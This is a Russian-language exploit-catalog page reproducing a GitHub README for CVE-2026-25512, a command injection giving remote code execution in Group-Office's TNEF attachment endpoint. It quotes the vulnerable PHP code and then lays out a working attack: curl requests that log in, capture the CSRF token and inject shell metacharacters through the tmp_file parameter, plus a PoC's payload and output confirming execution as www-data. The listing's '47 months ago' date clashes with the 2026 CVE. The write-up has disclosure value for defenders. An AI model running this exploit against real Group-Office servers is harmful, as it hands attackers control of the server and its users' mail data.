Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/numberoreo1/cve-2026-25512
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubnumberoreo1/cve-2026-25512

CVE-2026-25512

RCE - Внедрение команд через обработчик вложений TNEF

Репозиторий
47 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25512: Удалённое выполнение кода через внедрение команд в обработчике TNEF — Group-Office

CVE-2026-25512 Critical CVSS 9.4

CWE-78

Вектор CVSS 4.0 : CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Содержание

  • Краткое описание
  • Затронутые версии
  • Технические подробности
    • Корневая причина
    • Путь от источника к приёмнику
  • Эксплуатация
    • Автоматизированный эксплойт
    • Ручной эксплойт
  • Воздействие
  • Хронология
  • Авторы
  • Ссылки

Краткое описание

В Group-Office выявлена критическая уязвимость удалённого выполнения кода (RCE). Конечная точка email/message/tnefAttachmentFromTempFile напрямую конкатенирует контролируемый пользователем параметр tmp_file в вызов exec(). Внедряя метасимволы shell в tmp_file, аутентифицированный злоумышленник может выполнять произвольные системные команды на сервере.


Затронутые версии

ПродуктЗатронутые версии
Group-Office≤ 26.0.4

Технические подробности

Корневая причина

Параметр tmp_file берётся из HTTP-запроса и используется для построения shell-команды без экранирования или проверки. Это приводит к внедрению команд в команду извлечения tnef, которая выполняется с правами веб-сервера.

Уязвимый код (www/modules/email/controller/MessageController.php):

protected function actionTnefAttachmentFromTempFile(array $params)
{
    $tmpFolder = \GO\Base\Fs\Folder::tempFolder(uniqid(time()));
    $tmpFile = new \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file']);

    chdir($tmpFolder->path());
    exec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), $output, $retVar);
    if($retVar!=0)
        throw new \Exception("TNEF extraction failed: ".implode("\n", $output));

    exec(GO::config()->cmd_zip.' -r "winmail.zip" *', $output, $retVar);
    if($retVar!=0)
        throw new \Exception("ZIP compression failed: ".implode("\n", $output));

    $zipFile = $tmpFolder->child('winmail.zip');
    \GO\Base\Util\Http::outputDownloadHeaders($zipFile,false,true);
    $zipFile->output();

    $tmpFolder->delete();
}

Путь от источника к приёмнику

ЭтапОписание
ИсточникПараметр запроса tmp_file в index.php?r=email/message/tnefAttachmentFromTempFile&tmp_file=...
Распространениеnew \GO\Base\Fs\File(GO::config()->tmpdir.$params['tmp_file'])
Приёмникexec(GO::config()->cmd_tnef.' -C '.$tmpFolder->path().' '.$tmpFile->path(), ...)

Поскольку tmp_file конкатенируется в shell-команду, метасимволы, такие как ;, &, обратные кавычки или $(), позволяют злоумышленнику добавлять произвольные команды.

Требование аутентификации: Да. MessageController проверяет CSRF-токен security_token, поэтому требуются действительная сессия и токен.


Эксплуатация

Автоматизированный эксплойт

Скрипт PoC выполняет вход, получает security_token, внедряет полезную нагрузку через tmp_file и проверяет выполнение, читая rce.txt из ZIP-ответа.

python3 poc.py

Пример вывода:

➜  ~ python3 poc.py
[*] Target: http://xx.xx.xxx.xxx:9090
[*] Login status: 200
[*] Login ok, security_token received
[*] Exploit URL: http://xx.xx.xxx.xxx:9090/index.php?r=email/message/tnefAttachmentFromTempFile
[*] tmp_file payload: dummy.dat;id > /tmp/id;id > rce.txt;echo RCE_POC_451a735c >> rce.txt;#
[*] Response status: 200
[+] RCE Confirmed
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ручной эксплойт

Шаг 1: Вход

curl -c cookies.txt -b cookies.txt "http://TARGET:PORT/index.php" \
    --data-urlencode "r=core/auth/login" \
    --data-urlencode "username=YOUR_USERNAME" \
    --data-urlencode "password=YOUR_PASSWORD" \
    -H "X-Requested-With: XMLHttpRequest"

Ответ:

{
  "success": true,
  "groupoffice_version": "26.0.4",
  "user_id": 2,
  "security_token": "XXXXXXX",
  "sid": "XXXXXXXXXXX"
}

Шаг 2: Запуск RCE

curl -G "http://TARGET:PORT/index.php" \
    -b cookies.txt \
    --data-urlencode "r=email/message/tnefAttachmentFromTempFile" \
    --data-urlencode "security_token=YOUR_TOKEN" \
    --data-urlencode "tmp_file=dummy.dat;id > rce.txt || true;#" \
    -o command_output.zip

Результат:

➜  unzip command_output.zip
Archive:  command_output.zip
  inflating: rce.txt

➜  cat rce.txt
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Воздействие

КатегорияСерьёзностьОписание
КонфиденциальностьВысокаяВыполнение произвольных команд позволяет читать конфиденциальные файлы.
ЦелостностьВысокаяЗлоумышленник может изменять или удалять файлы на сервере.
ДоступностьВысокаяЗлоумышленник может нарушить работу сервисов или удалить критически важные данные.

Авторы

  • Обнаружил: Oreo

Ссылки

  • Официальный сайт Group-Office
  • MITRE CVE-2026-25512
Скачать инструмент